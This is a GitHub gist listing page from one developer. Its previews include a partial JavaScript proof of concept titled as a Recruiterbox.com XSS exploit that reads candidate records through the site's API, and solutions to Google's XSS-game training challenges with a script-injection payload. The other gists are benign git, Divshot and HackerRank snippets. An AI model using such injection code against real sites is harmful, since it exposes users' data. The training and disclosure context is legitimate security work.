Skip to content

Instantly share code, notes, and snippets.

@djadmin
djadmin / recruiterbox_exploit.js
Last active Aug 10, 2016
Recruiterbox.com HTML Injection Exploit
View recruiterbox_exploit.js
// Below code was used to demonstrate hiring made so easy - Recruiterbox XSS.
var candidates = [];
var request = new XMLHttpRequest();
request.open('GET', '/api/v1/candidates/', true);
request.onload = function() {
var data = JSON.parse(request.responseText);
console.log(data);
candidates = data && data.objects;
var profile = candidates.find(function (cand) {
return cand.first_name === 'Dheeraj' && cand.last_name === 'Joshi';
View keybase.md

Keybase proof

I hereby claim:

  • I am djadmin on github.
  • I am djadmin (https://keybase.io/djadmin) on keybase.
  • I have a public key ASBLZvlfekLas6TmwWb9gY2awd79PVfROH9v4DsZadSzvwo

To claim this, I am signing this object:

@djadmin
djadmin / config
Created Jan 16, 2016
Sync master with gh-pages branch
View config
$ vim .git/config
push = +refs/heads/master:refs/heads/gh-pages
push = +refs/heads/master:refs/heads/master
View git-status-watch.sh
#Tired to doing git status? Watch git changes using the below script
#install watch using homebrew
$ brew install watch
#watch git status
$ watch --color git status
@djadmin
djadmin / divshot.sh
Last active Oct 5, 2015
Download your Divshot project
View divshot.sh
# Please follow these steps if you need to download your divshot project.
# Let's say you need to download 'my-project' from production and you have Divshot CLI installed.
divshot login
mkdir my-project
divshot init
divshot download production
# Done
@djadmin
djadmin / XSS-Game Solutions
Created Mar 15, 2015
Google's XSS-Game Solutions
View XSS-Game Solutions
Below are the solutions to Google XSS challenges hosted on https://xss-game.appspot.com/
########################## Level 1: Hello, world of XSS ##########################
*** Query ***
https://xss-game.appspot.com/level1/frame?query=<script>alert(1)</script>
*** Vector ***
<script>alert(1)</script>
########################## Level 2: Persistence is key ##########################
View hackerrank-language
languages=['C','CPP','JAVA','PYTHON','PERL','PHP','RUBY','CSHARP','HASKELL','CLOJURE','BASH','SCALA','ERLANG','CLISP','LUA','BRAINFUCK','JAVASCRIPT','GO','D','OCAML','R','PASCAL','SBCL','DART','GROOVY','OBJECTIVEC']
for i in xrange(input()):
input=str(raw_input()).split()
language=input[1]
if language in languages:
print 'VALID'
else:
print 'INVALID'
View hackerrank-tweets
count=0
for i in xrange(input()):
text=str(raw_input())
if 'hackerrank' in text.lower():
count+=1
print count
View saying-hi
import re
for i in range(input()):
text=str(raw_input())
if re.search(r'^(hi [^d])',text,re.IGNORECASE):
print text